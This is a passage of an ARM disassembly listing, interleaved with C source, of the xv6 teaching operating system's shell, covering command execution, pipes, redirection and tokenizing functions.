b8: eaffffda b 28 <main+0x28>
if(chdir(buf+3) < 0)
printf(2, "cannot cd %s\n", buf+3);
continue;
}
if(fork1() == 0)
runcmd(parsecmd(buf));
bc: e59f0008 ldr r0, [pc, #8] ; cc <main+0xcc>
c0: eb000268 bl a68 <parsecmd>
c4: eb000027 bl 168 <runcmd>
c8: 00001684 .word 0x00001684
cc: 000016c8 .word 0x000016c8
d0: 000016cb .word 0x000016cb
d4: 0000168c .word 0x0000168c
000000d8 <getcmd>:
exit();
}
int
getcmd(char *buf, int nbuf)
{
d8: e92d4830 push {r4, r5, fp, lr}
dc: e1a04000 mov r4, r0
e0: e28db00c add fp, sp, #12
e4: e1a05001 mov r5, r1
printf(2, "$ ");
e8: e3a00002 mov r0, #2
ec: e59f1030 ldr r1, [pc, #48] ; 124 <getcmd+0x4c>
f0: eb000477 bl 12d4 <printf>
memset(buf, 0, nbuf);
f4: e1a02005 mov r2, r5
f8: e1a00004 mov r0, r4
fc: e3a01000 mov r1, #0
100: eb0002a5 bl b9c <memset>
gets(buf, nbuf);
104: e1a00004 mov r0, r4
108: e1a01005 mov r1, r5
10c: eb0002c1 bl c18 <gets>
if(buf[0] == 0) // EOF
110: e5d43000 ldrb r3, [r4]
114: e3530000 cmp r3, #0
return -1;
return 0;
}
118: 03e00000 mvneq r0, #0
11c: 13a00000 movne r0, #0
120: e8bd8830 pop {r4, r5, fp, pc}
124: 000015bc .word 0x000015bc
00000128 <panic>:
exit();
}
void
panic(char *s)
{
128: e92d4800 push {fp, lr}
12c: e1a02000 mov r2, r0
130: e28db004 add fp, sp, #4
printf(2, "%s\n", s);
134: e59f1008 ldr r1, [pc, #8] ; 144 <panic+0x1c>
138: e3a00002 mov r0, #2
13c: eb000464 bl 12d4 <printf>
exit();
140: eb000310 bl d88 <exit>
144: 000015c0 .word 0x000015c0
00000148 <fork1>:
}
int
fork1(void)
{
148: e92d4800 push {fp, lr}
14c: e28db004 add fp, sp, #4
int pid;
pid = fork();
150: eb0002ff bl d54 <fork>
if(pid == -1)
154: e3700001 cmn r0, #1
158: 18bd8800 popne {fp, pc}
panic("fork");
15c: e59f0000 ldr r0, [pc] ; 164 <fork1+0x1c>
160: ebfffff0 bl 128 <panic>
164: 000015c4 .word 0x000015c4
00000168 <runcmd>:
struct cmd *parsecmd(char*);
// Execute cmd. Never returns.
void
runcmd(struct cmd *cmd)
{
168: e92d4810 push {r4, fp, lr}
struct execcmd *ecmd;
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
16c: e2504000 subs r4, r0, #0
struct cmd *parsecmd(char*);
// Execute cmd. Never returns.
void
runcmd(struct cmd *cmd)
{
170: e28db008 add fp, sp, #8
174: e24dd00c sub sp, sp, #12
struct execcmd *ecmd;
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
178: 0a000019 beq 1e4 <runcmd+0x7c>
exit();
switch(cmd->type){
17c: e5943000 ldr r3, [r4]
180: e2433001 sub r3, r3, #1
184: e3530004 cmp r3, #4
188: 979ff103 ldrls pc, [pc, r3, lsl #2]
18c: ea000019 b 1f8 <runcmd+0x90>
190: 00000200 .word 0x00000200
194: 00000228 .word 0x00000228
198: 000001a4 .word 0x000001a4
19c: 0000024c .word 0x0000024c
1a0: 000001e8 .word 0x000001e8
runcmd(lcmd->right);
break;
case PIPE:
pcmd = (struct pipecmd*)cmd;
if(pipe(p) < 0)
1a4: e24b0014 sub r0, fp, #20
1a8: eb000310 bl df0 <pipe>
1ac: e3500000 cmp r0, #0
1b0: ba000030 blt 278 <runcmd+0x110>
panic("pipe");
if(fork1() == 0){
1b4: ebffffe3 bl 148 <fork1>
1b8: e3500000 cmp r0, #0
1bc: 0a000038 beq 2a4 <runcmd+0x13c>
dup(p[1]);
close(p[0]);
close(p[1]);
runcmd(pcmd->left);
}
if(fork1() == 0){
1c0: ebffffe0 bl 148 <fork1>
1c4: e3500000 cmp r0, #0
1c8: 0a00002c beq 280 <runcmd+0x118>
dup(p[0]);
close(p[0]);
close(p[1]);
runcmd(pcmd->right);
}
close(p[0]);
1cc: e51b0014 ldr r0, [fp, #-20]
1d0: eb00032d bl e8c <close>
close(p[1]);
1d4: e51b0010 ldr r0, [fp, #-16]
1d8: eb00032b bl e8c <close>
wait();
1dc: eb0002f6 bl dbc <wait>
wait();
1e0: eb0002f5 bl dbc <wait>
bcmd = (struct backcmd*)cmd;
if(fork1() == 0)
runcmd(bcmd->cmd);
break;
}
exit();
1e4: eb0002e7 bl d88 <exit>
wait();
break;
case BACK:
bcmd = (struct backcmd*)cmd;
if(fork1() == 0)
1e8: ebffffd6 bl 148 <fork1>
1ec: e3500000 cmp r0, #0
1f0: 0a000013 beq 244 <runcmd+0xdc>
runcmd(bcmd->cmd);
break;
}
exit();
1f4: eb0002e3 bl d88 <exit>
if(cmd == 0)
exit();
switch(cmd->type){
default:
panic("runcmd");
1f8: e59f00cc ldr r0, [pc, #204] ; 2cc <runcmd+0x164>
1fc: ebffffc9 bl 128 <panic>
case EXEC:
ecmd = (struct execcmd*)cmd;
if(ecmd->argv[0] == 0)
200: e5940004 ldr r0, [r4, #4]
204: e3500000 cmp r0, #0
208: 0afffff5 beq 1e4 <runcmd+0x7c>
exit();
exec(ecmd->argv[0], ecmd->argv);
20c: e2841004 add r1, r4, #4
210: eb000337 bl ef4 <exec>
printf(2, "exec %s failed\n", ecmd->argv[0]);
214: e3a00002 mov r0, #2
218: e59f10b0 ldr r1, [pc, #176] ; 2d0 <runcmd+0x168>
21c: e5942004 ldr r2, [r4, #4]
220: eb00042b bl 12d4 <printf>
bcmd = (struct backcmd*)cmd;
if(fork1() == 0)
runcmd(bcmd->cmd);
break;
}
exit();
224: eb0002d7 bl d88 <exit>
printf(2, "exec %s failed\n", ecmd->argv[0]);
break;
case REDIR:
rcmd = (struct redircmd*)cmd;
close(rcmd->fd);
228: e5940014 ldr r0, [r4, #20]
22c: eb000316 bl e8c <close>
if(open(rcmd->file, rcmd->mode) < 0){
230: e5940008 ldr r0, [r4, #8]
234: e5941010 ldr r1, [r4, #16]
238: eb00033a bl f28 <open>
23c: e3500000 cmp r0, #0
240: ba000007 blt 264 <runcmd+0xfc>
break;
case BACK:
bcmd = (struct backcmd*)cmd;
if(fork1() == 0)
runcmd(bcmd->cmd);
244: e5940004 ldr r0, [r4, #4]
248: ebffffc6 bl 168 <runcmd>
runcmd(rcmd->cmd);
break;
case LIST:
lcmd = (struct listcmd*)cmd;
if(fork1() == 0)
24c: ebffffbd bl 148 <fork1>
250: e3500000 cmp r0, #0
254: 0afffffa beq 244 <runcmd+0xdc>
runcmd(lcmd->left);
wait();
258: eb0002d7 bl dbc <wait>
runcmd(lcmd->right);
25c: e5940008 ldr r0, [r4, #8]
260: ebffffc0 bl 168 <runcmd>
case REDIR:
rcmd = (struct redircmd*)cmd;
close(rcmd->fd);
if(open(rcmd->file, rcmd->mode) < 0){
printf(2, "open %s failed\n", rcmd->file);
264: e3a00002 mov r0, #2
268: e59f1064 ldr r1, [pc, #100] ; 2d4 <runcmd+0x16c>
26c: e5942008 ldr r2, [r4, #8]
270: eb000417 bl 12d4 <printf>
exit();
274: eb0002c3 bl d88 <exit>
break;
case PIPE:
pcmd = (struct pipecmd*)cmd;
if(pipe(p) < 0)
panic("pipe");
278: e59f0058 ldr r0, [pc, #88] ; 2d8 <runcmd+0x170>
27c: ebffffa9 bl 128 <panic>
close(p[0]);
close(p[1]);
runcmd(pcmd->left);
}
if(fork1() == 0){
close(0);
280: eb000301 bl e8c <close>
dup(p[0]);
284: e51b0014 ldr r0, [fp, #-20]
288: eb000381 bl 1094 <dup>
close(p[0]);
28c: e51b0014 ldr r0, [fp, #-20]
290: eb0002fd bl e8c <close>
close(p[1]);
294: e51b0010 ldr r0, [fp, #-16]
298: eb0002fb bl e8c <close>
runcmd(pcmd->right);
29c: e5940008 ldr r0, [r4, #8]
2a0: ebffffb0 bl 168 <runcmd>
case PIPE:
pcmd = (struct pipecmd*)cmd;
if(pipe(p) < 0)
panic("pipe");
if(fork1() == 0){
close(1);
2a4: e3a00001 mov r0, #1
2a8: eb0002f7 bl e8c <close>
dup(p[1]);
2ac: e51b0010 ldr r0, [fp, #-16]
2b0: eb000377 bl 1094 <dup>
close(p[0]);
2b4: e51b0014 ldr r0, [fp, #-20]
2b8: eb0002f3 bl e8c <close>
close(p[1]);
2bc: e51b0010 ldr r0, [fp, #-16]
2c0: eb0002f1 bl e8c <close>
runcmd(pcmd->left);
2c4: e5940004 ldr r0, [r4, #4]
2c8: ebffffa6 bl 168 <runcmd>
2cc: 000015cc .word 0x000015cc
2d0: 000015d4 .word 0x000015d4
2d4: 000015e4 .word 0x000015e4
2d8: 000015f4 .word 0x000015f4
000002dc <execcmd>:
//PAGEBREAK!
// Constructors
struct cmd*
execcmd(void)
{
2dc: e92d4818 push {r3, r4, fp, lr}
struct execcmd *cmd;
cmd = malloc(sizeof(*cmd));
2e0: e3a00054 mov r0, #84 ; 0x54
//PAGEBREAK!
// Constructors
struct cmd*
execcmd(void)
{
2e4: e28db00c add fp, sp, #12
struct execcmd *cmd;
cmd = malloc(sizeof(*cmd));
2e8: eb000478 bl 14d0 <malloc>
memset(cmd, 0, sizeof(*cmd));
2ec: e3a01000 mov r1, #0
2f0: e3a02054 mov r2, #84 ; 0x54
struct cmd*
execcmd(void)
{
struct execcmd *cmd;
cmd = malloc(sizeof(*cmd));
2f4: e1a04000 mov r4, r0
memset(cmd, 0, sizeof(*cmd));
2f8: eb000227 bl b9c <memset>
cmd->type = EXEC;
2fc: e3a03001 mov r3, #1
300: e5843000 str r3, [r4]
return (struct cmd*)cmd;
}
304: e1a00004 mov r0, r4
308: e8bd8818 pop {r3, r4, fp, pc}
0000030c <redircmd>:
struct cmd*
redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd)
{
30c: e92d49f8 push {r3, r4, r5, r6, r7, r8, fp, lr}
310: e1a06000 mov r6, r0
314: e28db01c add fp, sp, #28
struct redircmd *cmd;
cmd = malloc(sizeof(*cmd));
318: e3a00018 mov r0, #24
return (struct cmd*)cmd;
}
struct cmd*
redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd)
{
31c: e1a08003 mov r8, r3
320: e1a05001 mov r5, r1
324: e1a04002 mov r4, r2
struct redircmd *cmd;
cmd = malloc(sizeof(*cmd));
328: eb000468 bl 14d0 <malloc>
memset(cmd, 0, sizeof(*cmd));
32c: e3a01000 mov r1, #0
330: e3a02018 mov r2, #24
struct cmd*
redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd)
{
struct redircmd *cmd;
cmd = malloc(sizeof(*cmd));
334: e1a07000 mov r7, r0
memset(cmd, 0, sizeof(*cmd));
338: eb000217 bl b9c <memset>
cmd->type = REDIR;
33c: e3a03002 mov r3, #2
cmd->cmd = subcmd;
cmd->file = file;
340: e5875008 str r5, [r7, #8]
struct redircmd *cmd;
cmd = malloc(sizeof(*cmd));
memset(cmd, 0, sizeof(*cmd));
cmd->type = REDIR;
cmd->cmd = subcmd;
344: e8870048 stm r7, {r3, r6}
cmd->file = file;
cmd->efile = efile;
cmd->mode = mode;
cmd->fd = fd;
348: e59b3004 ldr r3, [fp, #4]
cmd = malloc(sizeof(*cmd));
memset(cmd, 0, sizeof(*cmd));
cmd->type = REDIR;
cmd->cmd = subcmd;
cmd->file = file;
cmd->efile = efile;
34c: e587400c str r4, [r7, #12]
cmd->mode = mode;
350: e5878010 str r8, [r7, #16]
cmd->fd = fd;
354: e5873014 str r3, [r7, #20]
return (struct cmd*)cmd;
}
358: e1a00007 mov r0, r7
35c: e8bd89f8 pop {r3, r4, r5, r6, r7, r8, fp, pc}
00000360 <pipecmd>:
struct cmd*
pipecmd(struct cmd *left, struct cmd *right)
{
360: e92d4878 push {r3, r4, r5, r6, fp, lr}
364: e1a06000 mov r6, r0
368: e28db014 add fp, sp, #20
struct pipecmd *cmd;
cmd = malloc(sizeof(*cmd));
36c: e3a0000c mov r0, #12
return (struct cmd*)cmd;
}
struct cmd*
pipecmd(struct cmd *left, struct cmd *right)
{
370: e1a05001 mov r5, r1
struct pipecmd *cmd;
cmd = malloc(sizeof(*cmd));
374: eb000455 bl 14d0 <malloc>
memset(cmd, 0, sizeof(*cmd));
378: e3a01000 mov r1, #0
37c: e3a0200c mov r2, #12
struct cmd*
pipecmd(struct cmd *left, struct cmd *right)
{
struct pipecmd *cmd;
cmd = malloc(sizeof(*cmd));
380: e1a04000 mov r4, r0
memset(cmd, 0, sizeof(*cmd));
384: eb000204 bl b9c <memset>
cmd->type = PIPE;
388: e3a03003 mov r3, #3
cmd->left = left;
cmd->right = right;
38c: e5845008 str r5, [r4, #8]
struct pipecmd *cmd;
cmd = malloc(sizeof(*cmd));
memset(cmd, 0, sizeof(*cmd));
cmd->type = PIPE;
cmd->left = left;
390: e8840048 stm r4, {r3, r6}
cmd->right = right;
return (struct cmd*)cmd;
}
394: e1a00004 mov r0, r4
398: e8bd8878 pop {r3, r4, r5, r6, fp, pc}
0000039c <listcmd>:
struct cmd*
listcmd(struct cmd *left, struct cmd *right)
{
39c: e92d4878 push {r3, r4, r5, r6, fp, lr}
3a0: e1a06000 mov r6, r0
3a4: e28db014 add fp, sp, #20
struct listcmd *cmd;
cmd = malloc(sizeof(*cmd));
3a8: e3a0000c mov r0, #12
return (struct cmd*)cmd;
}
struct cmd*
listcmd(struct cmd *left, struct cmd *right)
{
3ac: e1a05001 mov r5, r1
struct listcmd *cmd;
cmd = malloc(sizeof(*cmd));
3b0: eb000446 bl 14d0 <malloc>
memset(cmd, 0, sizeof(*cmd));
3b4: e3a01000 mov r1, #0
3b8: e3a0200c mov r2, #12
struct cmd*
listcmd(struct cmd *left, struct cmd *right)
{
struct listcmd *cmd;
cmd = malloc(sizeof(*cmd));
3bc: e1a04000 mov r4, r0
memset(cmd, 0, sizeof(*cmd));
3c0: eb0001f5 bl b9c <memset>
cmd->type = LIST;
3c4: e3a03004 mov r3, #4
cmd->left = left;
cmd->right = right;
3c8: e5845008 str r5, [r4, #8]
struct listcmd *cmd;
cmd = malloc(sizeof(*cmd));
memset(cmd, 0, sizeof(*cmd));
cmd->type = LIST;
cmd->left = left;
3cc: e8840048 stm r4, {r3, r6}
cmd->right = right;
return (struct cmd*)cmd;
}
3d0: e1a00004 mov r0, r4
3d4: e8bd8878 pop {r3, r4, r5, r6, fp, pc}
000003d8 <backcmd>:
struct cmd*
backcmd(struct cmd *subcmd)
{
3d8: e92d4830 push {r4, r5, fp, lr}
3dc: e1a05000 mov r5, r0
3e0: e28db00c add fp, sp, #12
struct backcmd *cmd;
cmd = malloc(sizeof(*cmd));
3e4: e3a00008 mov r0, #8
3e8: eb000438 bl 14d0 <malloc>
memset(cmd, 0, sizeof(*cmd));
3ec: e3a01000 mov r1, #0
3f0: e3a02008 mov r2, #8
struct cmd*
backcmd(struct cmd *subcmd)
{
struct backcmd *cmd;
cmd = malloc(sizeof(*cmd));
3f4: e1a04000 mov r4, r0
memset(cmd, 0, sizeof(*cmd));
3f8: eb0001e7 bl b9c <memset>
cmd->type = BACK;
3fc: e3a03005 mov r3, #5
cmd->cmd = subcmd;
return (struct cmd*)cmd;
}
400: e1a00004 mov r0, r4
struct backcmd *cmd;
cmd = malloc(sizeof(*cmd));
memset(cmd, 0, sizeof(*cmd));
cmd->type = BACK;
cmd->cmd = subcmd;
404: e8840028 stm r4, {r3, r5}
return (struct cmd*)cmd;
}
408: e8bd8830 pop {r4, r5, fp, pc}
0000040c <gettoken>:
char whitespace[] = " \t\r\n\v";
char symbols[] = "<|>&;()";
int
gettoken(char **ps, char *es, char **q, char **eq)
{
40c: e92d4df0 push {r4, r5, r6, r7, r8, sl, fp, lr}
410: e1a06000 mov r6, r0
char *s;
int ret;
s = *ps;
414: e5904000 ldr r4, [r0]
char whitespace[] = " \t\r\n\v";
char symbols[] = "<|>&;()";
int
gettoken(char **ps, char *es, char **q, char **eq)
{
418: e28db01c add fp, sp, #28
char *s;
int ret;
s = *ps;
while(s < es && strchr(whitespace, *s))
41c: e1540001 cmp r4, r1
char whitespace[] = " \t\r\n\v";
char symbols[] = "<|>&;()";
int
gettoken(char **ps, char *es, char **q, char **eq)
{
420: e1a05001 mov r5, r1
424: e1a07002 mov r7, r2
428: e1a0a003 mov sl, r3
char *s;
int ret;
s = *ps;
while(s < es && strchr(whitespace, *s))
42c: 31a08004 movcc r8, r4
430: 3a000003 bcc 444 <gettoken+0x38>
434: ea000009 b 460 <gettoken+0x54>
438: e1580005 cmp r8, r5
s++;
43c: e1a04008 mov r4, r8
{
char *s;
int ret;
s = *ps;
while(s < es && strchr(whitespace, *s))
440: 0a000006 beq 460 <gettoken+0x54>
444: e5d81000 ldrb r1, [r8]
448: e59f0124 ldr r0, [pc, #292] ; 574 <gettoken+0x168>
44c: eb0001e0 bl bd4 <strchr>
450: e1a04008 mov r4, r8
454: e2888001 add r8, r8, #1
458: e3500000 cmp r0, #0
45c: 1afffff5 bne 438 <gettoken+0x2c>
s++;
if(q)
460: e3570000 cmp r7, #0
*q = s;
464: 15874000 strne r4, [r7]
ret = *s;
468: e5d48000 ldrb r8, [r4]
switch(*s){
46c: e358003c cmp r8, #60 ; 0x3c
s = *ps;
while(s < es && strchr(whitespace, *s))
s++;
if(q)
*q = s;
ret = *s;
470: e1a01008 mov r1, r8
switch(*s){
474: 8a000015 bhi 4d0 <gettoken+0xc4>
478: e358003b cmp r8, #59 ; 0x3b
47c: 3a00002d bcc 538 <gettoken+0x12c>
case '&':
case '<':
s++;
break;
case '>':
s++;
480: e2844001 add r4, r4, #1
ret = 'a';
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
s++;
break;
}
if(eq)
484: e35a0000 cmp sl, #0
*eq = s;
488: 158a4000 strne r4, [sl]
while(s < es && strchr(whitespace, *s))
48c: e1540005 cmp r4, r5
490: 31a07004 movcc r7, r4
494: 3a000003 bcc 4a8 <gettoken+0x9c>
498: ea000009 b 4c4 <gettoken+0xb8>
49c: e1570005 cmp r7, r5
s++;
4a0: e1a04007 mov r4, r7
break;
}
if(eq)
*eq = s;
while(s < es && strchr(whitespace, *s))
4a4: 0a000006 beq 4c4 <gettoken+0xb8>
4a8: e5d71000 ldrb r1, [r7]
4ac: e59f00c0 ldr r0, [pc, #192] ; 574 <gettoken+0x168>
4b0: eb0001c7 bl bd4 <strchr>
4b4: e1a04007 mov r4, r7
4b8: e2877001 add r7, r7, #1
4bc: e3500000 cmp r0, #0
4c0: 1afffff5 bne 49c <gettoken+0x90>
s++;
*ps = s;
4c4: e5864000 str r4, [r6]
return ret;
}
4c8: e1a00008 mov r0, r8
4cc: e8bd8df0 pop {r4, r5, r6, r7, r8, sl, fp, pc}
while(s < es && strchr(whitespace, *s))
s++;
if(q)
*q = s;
ret = *s;
switch(*s){
4d0: e358003e cmp r8, #62 ; 0x3e
4d4: 0a000020 beq 55c <gettoken+0x150>
4d8: e358007c cmp r8, #124 ; 0x7c
4dc: 0affffe7 beq 480 <gettoken+0x74>
s++;
}
break;
default:
ret = 'a';
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
4e0: e1550004 cmp r5, r4
4e4: 81a08004 movhi r8, r4
4e8: 81a07008 movhi r7, r8
4ec: 8a000008 bhi 514 <gettoken+0x108>
4f0: ea00000e b 530 <gettoken+0x124>
4f4: e5d41000 ldrb r1, [r4]
4f8: eb0001b5 bl bd4 <strchr>
4fc: e3500000 cmp r0, #0
500: 1a00000a bne 530 <gettoken+0x124>
504: e1570005 cmp r7, r5
s++;
508: e1a04007 mov r4, r7
s++;
}
break;
default:
ret = 'a';
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
50c: 0a000007 beq 530 <gettoken+0x124>
510: e5f81001 ldrb r1, [r8, #1]!
514: e59f0058 ldr r0, [pc, #88] ; 574 <gettoken+0x168>
518: eb0001ad bl bd4 <strchr>
51c: e1a04007 mov r4, r7
520: e2877001 add r7, r7, #1
524: e3500000 cmp r0, #0
528: e59f0048 ldr r0, [pc, #72] ; 578 <gettoken+0x16c>
52c: 0afffff0 beq 4f4 <gettoken+0xe8>
ret = '+';
s++;
}
break;
default:
ret = 'a';
530: e3a08061 mov r8, #97 ; 0x61
534: eaffffd2 b 484 <gettoken+0x78>
while(s < es && strchr(whitespace, *s))
s++;
if(q)
*q = s;
ret = *s;
switch(*s){
538: e3580029 cmp r8, #41 ; 0x29
53c: 8affffe7 bhi 4e0 <gettoken+0xd4>
540: e3580028 cmp r8, #40 ; 0x28
544: 2affffcd bcs 480 <gettoken+0x74>
548: e3580000 cmp r8, #0
54c: 0affffcc beq 484 <gettoken+0x78>
550: e3580026 cmp r8, #38 ; 0x26
554: 1affffe1 bne 4e0 <gettoken+0xd4>
558: eaffffc8 b 480 <gettoken+0x74>
case '<':
s++;
break;
case '>':
s++;
if(*s == '>'){
55c: e5d43001 ldrb r3, [r4, #1]
560: e353003e cmp r3, #62 ; 0x3e
ret = '+';
s++;
564: 02844002 addeq r4, r4, #2
s++;
break;
case '>':
s++;
if(*s == '>'){
ret = '+';
568: 03a0802b moveq r8, #43 ; 0x2b
case '<':
s++;
break;
case '>':
s++;
if(*s == '>'){
56c: 1affffc3 bne 480 <gettoken+0x74>
570: eaffffc3 b 484 <gettoken+0x78>
574: 000016b8 .word 0x000016b8
578: 000016c0 .word 0x000016c0
0000057c <peek>:
return ret;
}
int
peek(char **ps, char *es, char *toks)
{
57c: e92d49f8 push {r3, r4, r5, r6, r7, r8, fp, lr}
580: e1a06000 mov r6, r0
char *s;
s = *ps;
584: e5904000 ldr r4, [r0]
return ret;
}
int
peek(char **ps, char *es, char *toks)
{
588: e28db01c add fp, sp, #28
char *s;
s = *ps;
while(s < es && strchr(whitespace, *s))
58c: e1540001 cmp r4, r1
return ret;
}
int
peek(char **ps, char *es, char *toks)
{
590: e1a05001 mov r5, r1
594: e1a08002 mov r8, r2
char *s;
s = *ps;
while(s < es && strchr(whitespace, *s))
598: 31a07004 movcc r7, r4
59c: 3a000003 bcc 5b0 <peek+0x34>
5a0: ea000009 b 5cc <peek+0x50>
5a4: e1570005 cmp r7, r5
s++;
5a8: e1a04007 mov r4, r7
peek(char **ps, char *es, char *toks)
{
char *s;
s = *ps;
while(s < es && strchr(whitespace, *s))
5ac: 0a000006 beq 5cc <peek+0x50>
5b0: e5d71000 ldrb r1, [r7]
5b4: e59f003c ldr r0, [pc, #60] ; 5f8 <peek+0x7c>
5b8: eb000185 bl bd4 <strchr>
5bc: e1a04007 mov r4, r7
5c0: e2877001 add r7, r7, #1
5c4: e3500000 cmp r0, #0
5c8: 1afffff5 bne 5a4 <peek+0x28>
s++;
*ps = s;
5cc: e5864000 str r4, [r6]
return *s && strchr(toks, *s);
5d0: e5d41000 ldrb r1, [r4]
5d4: e3510000 cmp r1, #0
5d8: 1a000001 bne 5e4 <peek+0x68>
5dc: e1a00001 mov r0, r1
}
5e0: e8bd89f8 pop {r3, r4, r5, r6, r7, r8, fp, pc}
s = *ps;
while(s < es && strchr(whitespace, *s))
s++;
*ps = s;
return *s && strchr(toks, *s);
5e4: e1a00008 mov r0, r8
5e8: eb000179 bl bd4 <strchr>
*ps = s;
return ret;
}
int
peek(char **ps, char *es, char *toks)
5ec: e2900000 adds r0, r0, #0
5f0: 13a00001 movne r0, #1
5f4: e8bd89f8 pop {r3, r4, r5, r6, r7, r8, fp, pc}
5f8: 000016b8 .word 0x000016b8
000005fc <parseredirs>:
return cmd;
}
struct cmd*
parseredirs(struct cmd *cmd, char **ps, char *es)
{
5fc: e92d49f0 push {r4, r5, r6, r7, r8, fp, lr}
600: e28db018 add fp, sp, #24
604: e24dd014 sub sp, sp, #20
608: e1a07000 mov r7, r0
60c: e1a06001 mov r6, r1
610: e1a05002 mov r5, r2
switch(tok){
case '<':
cmd = redircmd(cmd, q, eq, O_RDONLY, 0);
break;
case '>':
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
614: e3a08001 mov r8, #1
parseredirs(struct cmd *cmd, char **ps, char *es)
{
int tok;
char *q, *eq;
while(peek(ps, es, "<>")){
618: e1a00006 mov r0, r6
61c: e1a01005 mov r1, r5
620: e59f20c0 ldr r2, [pc, #192] ; 6e8 <parseredirs+0xec>
624: ebffffd4 bl 57c <peek>
628: e3500000 cmp r0, #0
62c: 0a00001f beq 6b0 <parseredirs+0xb4>
tok = gettoken(ps, es, 0, 0);
630: e3a02000 mov r2, #0
634: e1a03002 mov r3, r2
638: e1a01005 mov r1, r5
63c: e1a00006 mov r0, r6
640: ebffff71 bl 40c <gettoken>
if(gettoken(ps, es, &q, &eq) != 'a')
644: e1a01005 mov r1, r5
648: e24b2024 sub r2, fp, #36 ; 0x24
64c: e24b3020 sub r3, fp, #32
{
int tok;
char *q, *eq;
while(peek(ps, es, "<>")){
tok = gettoken(ps, es, 0, 0);
650: e1a04000 mov r4, r0
if(gettoken(ps, es, &q, &eq) != 'a')
654: e1a00006 mov r0, r6
658: ebffff6b bl 40c <gettoken>
65c: e3500061 cmp r0, #97 ; 0x61
660: 1a00001e bne 6e0 <parseredirs+0xe4>
panic("missing file for redirection");
switch(tok){
664: e354003c cmp r4, #60 ; 0x3c
668: 0a000013 beq 6bc <parseredirs+0xc0>
66c: e354003e cmp r4, #62 ; 0x3e
670: 0a000001 beq 67c <parseredirs+0x80>
674: e354002b cmp r4, #43 ; 0x2b
678: 1affffe6 bne 618 <parseredirs+0x1c>
break;
case '>':
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
break;
case '+': // >>
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
67c: e1a00007 mov r0, r7
680: e51b1024 ldr r1, [fp, #-36] ; 0x24
684: e51b2020 ldr r2, [fp, #-32]
688: e59f305c ldr r3, [pc, #92] ; 6ec <parseredirs+0xf0>
68c: e58d8000 str r8, [sp]
690: ebffff1d bl 30c <redircmd>
parseredirs(struct cmd *cmd, char **ps, char *es)
{
int tok;
char *q, *eq;
while(peek(ps, es, "<>")){
694: e1a01005 mov r1, r5
698: e59f2048 ldr r2, [pc, #72] ; 6e8 <parseredirs+0xec>
break;
case '>':
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
break;
case '+': // >>
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
69c: e1a07000 mov r7, r0
parseredirs(struct cmd *cmd, char **ps, char *es)
{
int tok;
char *q, *eq;
while(peek(ps, es, "<>")){
6a0: e1a00006 mov r0, r6
6a4: ebffffb4 bl 57c <peek>
6a8: e3500000 cmp r0, #0
6ac: 1affffdf bne 630 <parseredirs+0x34>
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
break;
}
}
return cmd;
}
6b0: e1a00007 mov r0, r7
6b4: e24bd018 sub sp, fp, #24
6b8: e8bd89f0 pop {r4, r5, r6, r7, r8, fp, pc}
tok = gettoken(ps, es, 0, 0);
if(gettoken(ps, es, &q, &eq) != 'a')
panic("missing file for redirection");
switch(tok){
case '<':
cmd = redircmd(cmd, q, eq, O_RDONLY, 0);
6bc: e3a0c000 mov ip, #0
6c0: e1a00007 mov r0, r7
6c4: e51b1024 ldr r1, [fp, #-36] ; 0x24
6c8: e51b2020 ldr r2, [fp, #-32]
6cc: e1a0300c mov r3, ip
6d0: e58dc000 str ip, [sp]
6d4: ebffff0c bl 30c <redircmd>
6d8: e1a07000 mov r7, r0
break;
6dc: eaffffcd b 618 <parseredirs+0x1c>
char *q, *eq;
while(peek(ps, es, "<>")){
tok = gettoken(ps, es, 0, 0);
if(gettoken(ps, es, &q, &eq) != 'a')
panic("missing file for redirection");
6e0: e59f0008 ldr r0, [pc, #8] ; 6f0 <parseredirs+0xf4>
6e4: ebfffe8f bl 128 <panic>
6e8: 0000161c .word 0x0000161c
6ec: 00000201 .word 0x00000201
6f0: 000015fc .word 0x000015fc
000006f4 <parseexec>:
return cmd;
}
struct cmd*
parseexec(char **ps, char *es)
{
6f4: e92d4df0 push {r4, r5, r6, r7, r8, sl, fp, lr}
6f8: e28db01c add fp, sp, #28
6fc: e24dd008 sub sp, sp, #8
char *q, *eq;
int tok, argc;
struct execcmd *cmd;
struct cmd *ret;
if(peek(ps, es, "("))
700: e59f20e8 ldr r2, [pc, #232] ; 7f0 <parseexec+0xfc>
return cmd;
}
struct cmd*
parseexec(char **ps, char *es)
{
704: e1a06000 mov r6, r0
708: e1a05001 mov r5, r1
char *q, *eq;
int tok, argc;
struct execcmd *cmd;
struct cmd *ret;
if(peek(ps, es, "("))
70c: ebffff9a bl 57c <peek>
710: e2507000 subs r7, r0, #0
714: 1a000025 bne 7b0 <parseexec+0xbc>
return parseblock(ps, es);
ret = execcmd();
718: ebfffeef bl 2dc <execcmd>
cmd = (struct execcmd*)ret;
argc = 0;
ret = parseredirs(ret, ps, es);
71c: e1a01006 mov r1, r6
720: e1a02005 mov r2, r5
struct cmd *ret;
if(peek(ps, es, "("))
return parseblock(ps, es);
ret = execcmd();
724: e1a0a000 mov sl, r0
cmd = (struct execcmd*)ret;
argc = 0;
ret = parseredirs(ret, ps, es);
728: ebffffb3 bl 5fc <parseredirs>
72c: e1a0400a mov r4, sl
730: e1a08000 mov r8, r0
while(!peek(ps, es, "|)&;")){
734: ea000004 b 74c <parseexec+0x58>
cmd->argv[argc] = q;
cmd->eargv[argc] = eq;
argc++;
if(argc >= MAXARGS)
panic("too many args");
ret = parseredirs(ret, ps, es);
738: e1a00008 mov r0, r8
73c: e1a01006 mov r1, r6
740: e1a02005 mov r2, r5
744: ebffffac bl 5fc <parseredirs>
748: e1a08000 mov r8, r0
